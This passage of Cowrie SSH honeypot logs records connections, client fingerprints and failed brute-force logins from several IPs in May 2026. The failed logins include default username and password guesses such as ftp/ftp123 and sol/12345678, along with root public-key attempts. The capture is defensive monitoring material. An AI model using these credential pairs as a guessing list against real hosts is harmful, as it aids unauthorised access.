-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:28.058032Z","src_ip":"47.86.95.62","session":"258d72217099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:28.677302Z","src_ip":"47.86.95.62","session":"258d72217099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:29.907032Z","src_ip":"47.86.95.62","session":"258d72217099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58914,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd3c074113c","protocol":"ssh","message":"New connection: 47.86.95.62:58914 (10.17.0.5:22) [session: 0dd3c074113c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:32.681762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:32.686788Z","src_ip":"47.86.95.62","session":"0dd3c074113c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:32.920990Z","src_ip":"47.86.95.62","session":"0dd3c074113c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:33.555778Z","src_ip":"47.86.95.62","session":"0dd3c074113c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:34.770353Z","src_ip":"47.86.95.62","session":"0dd3c074113c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51184,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce0a013835a","protocol":"ssh","message":"New connection: 2.57.122.238:51184 (159.203.135.109:22) [session: 0ce0a013835a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:38.432137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:38.436989Z","src_ip":"2.57.122.238","session":"0ce0a013835a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:38.536749Z","src_ip":"2.57.122.238","session":"0ce0a013835a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:38.833778Z","src_ip":"2.57.122.238","session":"0ce0a013835a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:39.935394Z","src_ip":"2.57.122.238","session":"0ce0a013835a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":19698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38ccc5a622a","protocol":"ssh","message":"New connection: 68.235.62.179:19698 (10.17.0.5:22) [session: b38ccc5a622a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.709826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.714565Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.743333Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:cf:5d:36:83:e9:77:74:a1:1d:c7:85:cd:03:36:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsxR59kJEJfJV8UYL9iK9p9i21SSSo+fOgZueHDv79ReQnC+qXuH7zb+malNn20BRzr4Jc2d6bRw8ZVtEM/eYIWbZ1pGJQEwtt7cnLPlau5+Jfw+2t+PcsTmXFQNdT1dV19WrpGL0rbGn+foNLAr6y2V2ZbjBBO7Fv6OMEEubjot5VwOx+rpzYXPCIW/jD336BEpNf1UTBvyAtXN5w16YxjfUZklB3NvPFaBJgvIENw7tBqT8knxH7J3ma4NPydoVxEfbIwSqrTuQYheKHDLq2EoKqhGqQADyO5uyLX14abfNW3oNuxDa5GYP5g5AxDFeD7ctffSpJrXZqAom2ntbX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:cf:5d:36:83:e9:77:74:a1:1d:c7:85:cd:03:36:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.858085Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:cf:5d:36:83:e9:77:74:a1:1d:c7:85:cd:03:36:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsxR59kJEJfJV8UYL9iK9p9i21SSSo+fOgZueHDv79ReQnC+qXuH7zb+malNn20BRzr4Jc2d6bRw8ZVtEM/eYIWbZ1pGJQEwtt7cnLPlau5+Jfw+2t+PcsTmXFQNdT1dV19WrpGL0rbGn+foNLAr6y2V2ZbjBBO7Fv6OMEEubjot5VwOx+rpzYXPCIW/jD336BEpNf1UTBvyAtXN5w16YxjfUZklB3NvPFaBJgvIENw7tBqT8knxH7J3ma4NPydoVxEfbIwSqrTuQYheKHDLq2EoKqhGqQADyO5uyLX14abfNW3oNuxDa5GYP5g5AxDFeD7ctffSpJrXZqAom2ntbX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.863567Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:77:da:a7:0f:e2:4c:5d:50:54:c2:0d:7c:e2:19:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrWF9Ewtd1MaHkBenmQo1k/2ungxKRcvxq1kOq59hjLfpeQCKKLisgcpY8Dsfj9Q648o/4+dpOYxreL5ri6AntRTEI8b0zmq3Wg+Os+gIJPcE67KGXMGMMweTP5OswKS43eHTUNCe9gMScLtpN5acV+TWqSojEJccyKT/qKhgyZ4wGFLOVWPBTZeYapbun1Fevr+QZxK+2W2JOYVZ5Yn5pPyXiGdMh7frcTsJG3E72e/oC2iWMXiROu/UPkTH53YsyQNiTFl/JVqiFuyAfav4uW4q1GaX4UMpeu7zJL6S4GqlqzUQoicr2Xn8wQqhzFu29IhabtNnlDPGQPOswNOoicYDnrdhtC0ZmoXxaBygZriE/RYBajBIQpr8Ab0Q/41pWE5+2dPz16miK1tZEzjylqDEK9iQPZUzvwku5AEfTw90UybhafD/BqFt/brMcmtqufq4Fa+nq0j8E9fI8Bd7VtYrQftxuHQDf45qVP1F2FqwAflmSi9h8IrGlofIRaX6riExNJhxjYInEAdcqX9Y6qy4JSI6Mezp9iKyj0+JHzA7XQaPG0mKhd+yDbhgDsaavDceXawuXejWNLplMzY2nLdCiaf8nOSEu+6vRmnOmL/H2nBXNJeSTg42swe2tGU/vshluzMaF8vyUEytBjtcpNZ3/HJQZhBytQIG+yZs6CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:77:da:a7:0f:e2:4c:5d:50:54:c2:0d:7c:e2:19:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.892003Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:77:da:a7:0f:e2:4c:5d:50:54:c2:0d:7c:e2:19:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrWF9Ewtd1MaHkBenmQo1k/2ungxKRcvxq1kOq59hjLfpeQCKKLisgcpY8Dsfj9Q648o/4+dpOYxreL5ri6AntRTEI8b0zmq3Wg+Os+gIJPcE67KGXMGMMweTP5OswKS43eHTUNCe9gMScLtpN5acV+TWqSojEJccyKT/qKhgyZ4wGFLOVWPBTZeYapbun1Fevr+QZxK+2W2JOYVZ5Yn5pPyXiGdMh7frcTsJG3E72e/oC2iWMXiROu/UPkTH53YsyQNiTFl/JVqiFuyAfav4uW4q1GaX4UMpeu7zJL6S4GqlqzUQoicr2Xn8wQqhzFu29IhabtNnlDPGQPOswNOoicYDnrdhtC0ZmoXxaBygZriE/RYBajBIQpr8Ab0Q/41pWE5+2dPz16miK1tZEzjylqDEK9iQPZUzvwku5AEfTw90UybhafD/BqFt/brMcmtqufq4Fa+nq0j8E9fI8Bd7VtYrQftxuHQDf45qVP1F2FqwAflmSi9h8IrGlofIRaX6riExNJhxjYInEAdcqX9Y6qy4JSI6Mezp9iKyj0+JHzA7XQaPG0mKhd+yDbhgDsaavDceXawuXejWNLplMzY2nLdCiaf8nOSEu+6vRmnOmL/H2nBXNJeSTg42swe2tGU/vshluzMaF8vyUEytBjtcpNZ3/HJQZhBytQIG+yZs6CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.896217Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:f9:25:d2:5e:39:5c:34:2d:22:cb:0a:6d:94:a0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP0VT1VOeSuHEh//Nm3qxd04b7bx2OFEhFjMeuHf67wEPfPDKlKj5w4Kq7577uaG+KbwDBm+m5THwJY9UXoD9pye7n3xDABO3qObppfKy1OkcziR5yYSHNQrwUJGo/MMIMWcE4bNnsgMIytWA5tDyTSItC+r5brPDN25ZTXRBAoDXul2NdGtA/1OuimuBqjYaT/ASls4FsuavhWLM9hpk3a6P4+GiuYuIz/l6pVugKAXFDvjj0AqxrCpREREcN9YXUZdpiOP1z1DmySlXm3DU07WX4wdz5kRe2oX42n5IO1c46UmPEQtFWLlcR0AiIcaGDzBHIm619sLAIZejMiuC6LHNeiGGBmOVo865Fi54Kg8JRJVdCNHGv2evrVCiAZanpT7bcygkLuu8NIV51xR+lwVEP3TmLHi07a/qENaAGkQmTrU7kiOqai6QpNjN4Esw1Q7o5j8LSnqO63i+eZRnSZ4yf92ROjILSKA1FZJmtHZWMJI2uR9no13DSbDd/HXDHEOV2Xac6HVoHHPcyH2k1MvCLYEal1i9O+SdUah2kiN6G6UdeJKZMiX7uo/jy1fz/D31yU/Fb1fHZeXdXkfCpP3C1ta131hP5ZbC7inNEKmyQItrwQ0ZXztEKo3HR4hjklYEjDnMkvPcMG3ugQBQQ4Y4UJXHp02sEDQ3na1H0iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:f9:25:d2:5e:39:5c:34:2d:22:cb:0a:6d:94:a0:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.924642Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:f9:25:d2:5e:39:5c:34:2d:22:cb:0a:6d:94:a0:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDP0VT1VOeSuHEh//Nm3qxd04b7bx2OFEhFjMeuHf67wEPfPDKlKj5w4Kq7577uaG+KbwDBm+m5THwJY9UXoD9pye7n3xDABO3qObppfKy1OkcziR5yYSHNQrwUJGo/MMIMWcE4bNnsgMIytWA5tDyTSItC+r5brPDN25ZTXRBAoDXul2NdGtA/1OuimuBqjYaT/ASls4FsuavhWLM9hpk3a6P4+GiuYuIz/l6pVugKAXFDvjj0AqxrCpREREcN9YXUZdpiOP1z1DmySlXm3DU07WX4wdz5kRe2oX42n5IO1c46UmPEQtFWLlcR0AiIcaGDzBHIm619sLAIZejMiuC6LHNeiGGBmOVo865Fi54Kg8JRJVdCNHGv2evrVCiAZanpT7bcygkLuu8NIV51xR+lwVEP3TmLHi07a/qENaAGkQmTrU7kiOqai6QpNjN4Esw1Q7o5j8LSnqO63i+eZRnSZ4yf92ROjILSKA1FZJmtHZWMJI2uR9no13DSbDd/HXDHEOV2Xac6HVoHHPcyH2k1MvCLYEal1i9O+SdUah2kiN6G6UdeJKZMiX7uo/jy1fz/D31yU/Fb1fHZeXdXkfCpP3C1ta131hP5ZbC7inNEKmyQItrwQ0ZXztEKo3HR4hjklYEjDnMkvPcMG3ugQBQQ4Y4UJXHp02sEDQ3na1H0iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.928846Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:05:a2:81:85:75:bd:02:fb:26:57:23:50:8d:71:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi5+97/vM9dpbx+w0SY9z6hBieDMGK/S6Hwi3HbqPBb+8kaGJ0bQ0ckQE7f9m8K9tT3ZqOz5T1pyVI/F4R5d6Cm7salQp6jmq+kNkAo5zoG8upMi3tk59PdCOp0x8v5N0FXa7ZzSTwwau98GL7hG1+Eu8JHaxjY3zz6/K9QtmY4gXhN1dqCZW66c68L1Dz/sg63cfXEv1HIuMqRxVYP2okqqj9HlqVT6qEaJz0JgFfLJt8XFfyqzUO3jJ9Fif7J6VwR4LN9j3xkvgCkC/c3XsBM4LfI5VEjJc7Bmql/NTj/FVsnW11Otz1+pkaNl55e5Vulfxg6SadUtttyzKObIVTm/WrEdg6FQb8gEZSbIvQ068hI+a/keom6jEsFg/oPJkojerY30v6FqUxEdBNLfNHurtkv3BxFsjOEGT1b8cG/5VE3acYiPXmZvtKinA6y/5ZaAyRKJsG+JJqBXIdIdIexWDfyjomaRU3GO1uVWFoPzKs7MCOOZUNPMQsIuvUVZGw1NgQbZUtUMR1giSBV5cYZg2/cT7BhgOW67WgaIQOmyUgA1hxYivUDJ9ASUnXNSS6tWGKELLD1WWhLdDJeGt6K3QezWEo3gUVNE4abIx6cEiCcIdsFVsQJ1fo21yFm/24E9ew6/fYIaikTw7MEK9K/h9PcIHCYqKyfoUrqAIAcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:05:a2:81:85:75:bd:02:fb:26:57:23:50:8d:71:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.961838Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:05:a2:81:85:75:bd:02:fb:26:57:23:50:8d:71:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi5+97/vM9dpbx+w0SY9z6hBieDMGK/S6Hwi3HbqPBb+8kaGJ0bQ0ckQE7f9m8K9tT3ZqOz5T1pyVI/F4R5d6Cm7salQp6jmq+kNkAo5zoG8upMi3tk59PdCOp0x8v5N0FXa7ZzSTwwau98GL7hG1+Eu8JHaxjY3zz6/K9QtmY4gXhN1dqCZW66c68L1Dz/sg63cfXEv1HIuMqRxVYP2okqqj9HlqVT6qEaJz0JgFfLJt8XFfyqzUO3jJ9Fif7J6VwR4LN9j3xkvgCkC/c3XsBM4LfI5VEjJc7Bmql/NTj/FVsnW11Otz1+pkaNl55e5Vulfxg6SadUtttyzKObIVTm/WrEdg6FQb8gEZSbIvQ068hI+a/keom6jEsFg/oPJkojerY30v6FqUxEdBNLfNHurtkv3BxFsjOEGT1b8cG/5VE3acYiPXmZvtKinA6y/5ZaAyRKJsG+JJqBXIdIdIexWDfyjomaRU3GO1uVWFoPzKs7MCOOZUNPMQsIuvUVZGw1NgQbZUtUMR1giSBV5cYZg2/cT7BhgOW67WgaIQOmyUgA1hxYivUDJ9ASUnXNSS6tWGKELLD1WWhLdDJeGt6K3QezWEo3gUVNE4abIx6cEiCcIdsFVsQJ1fo21yFm/24E9ew6/fYIaikTw7MEK9K/h9PcIHCYqKyfoUrqAIAcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.966346Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:ee:0c:1f:fc:27:a8:64:51:34:fe:2a:14:c7:93:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcm+qxpw8rWmUrucNWycN3B4xvueLIawhReNcd6nnbRPNPkLhxUFzHiaRs9wlqR9flDNRJA61TnHlfyM31uXLi0cnh//BdgN3XAYdLcUsyLYwr9OlJcjoHuqn+nRSba9XfZt2t33VD/BDGg0A3jn7ipI+EgbokirAGrxDdIlGUUxWia7BJGJDYI+qlgGQkpYNwpkgrC9uKW/I9eFLEB76xr7UX6v/eNG7+SvzS8mvQxjDxdYlW4jW0AdiehIKxtwm+I6x7laIDarvVtEocoVvTPT4TD0pwi/j1CpaQRdJ/CDWOjiXFOASC42kdob4ig1djOJ1q3oMZxJ45t8z1hFYEAeXrtUb2Jhiem7RYsZWbvpccFDqIK8UotuwdOXnNHbd8jACr+ZmlrfFcjqQ8EwQtiD80Bn2oiHt3nPXPrOM7iCu/GD+n6UV+nRQ2bwgoqOZs0+QjwjZy+5wdsD2uDNFcPdvHt4FbePM7s8GdTNb40YGfI+3Qtf7aZqpUr7wW6IWpubnTVrcP7KP92NlIX1Kp9cd30GJWUI5DwZVVvOyQ9Hk/Gd6AicprsS1tI9+A0/CH0Pa47L+4vUlkmtQKa9W8kKIfnzE7/go621iOmemX8lKTILDFerohpxwQ2ujI6obFEaVIdSXfk+MhaKnkg2YpkjvTLF2D9h6BFl0P2KtzqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:ee:0c:1f:fc:27:a8:64:51:34:fe:2a:14:c7:93:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:55.995400Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:ee:0c:1f:fc:27:a8:64:51:34:fe:2a:14:c7:93:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcm+qxpw8rWmUrucNWycN3B4xvueLIawhReNcd6nnbRPNPkLhxUFzHiaRs9wlqR9flDNRJA61TnHlfyM31uXLi0cnh//BdgN3XAYdLcUsyLYwr9OlJcjoHuqn+nRSba9XfZt2t33VD/BDGg0A3jn7ipI+EgbokirAGrxDdIlGUUxWia7BJGJDYI+qlgGQkpYNwpkgrC9uKW/I9eFLEB76xr7UX6v/eNG7+SvzS8mvQxjDxdYlW4jW0AdiehIKxtwm+I6x7laIDarvVtEocoVvTPT4TD0pwi/j1CpaQRdJ/CDWOjiXFOASC42kdob4ig1djOJ1q3oMZxJ45t8z1hFYEAeXrtUb2Jhiem7RYsZWbvpccFDqIK8UotuwdOXnNHbd8jACr+ZmlrfFcjqQ8EwQtiD80Bn2oiHt3nPXPrOM7iCu/GD+n6UV+nRQ2bwgoqOZs0+QjwjZy+5wdsD2uDNFcPdvHt4FbePM7s8GdTNb40YGfI+3Qtf7aZqpUr7wW6IWpubnTVrcP7KP92NlIX1Kp9cd30GJWUI5DwZVVvOyQ9Hk/Gd6AicprsS1tI9+A0/CH0Pa47L+4vUlkmtQKa9W8kKIfnzE7/go621iOmemX8lKTILDFerohpxwQ2ujI6obFEaVIdSXfk+MhaKnkg2YpkjvTLF2D9h6BFl0P2KtzqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:56.000001Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:39:56.029422Z","src_ip":"68.235.62.179","session":"b38ccc5a622a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55172,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f43247d4e6f","protocol":"ssh","message":"New connection: 47.86.95.62:55172 (10.17.0.5:22) [session: 0f43247d4e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:15.675161Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"105c8743e287","protocol":"ssh","message":"New connection: 89.38.96.216:51852 (10.17.0.5:22) [session: 105c8743e287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:40:16.921424Z"}
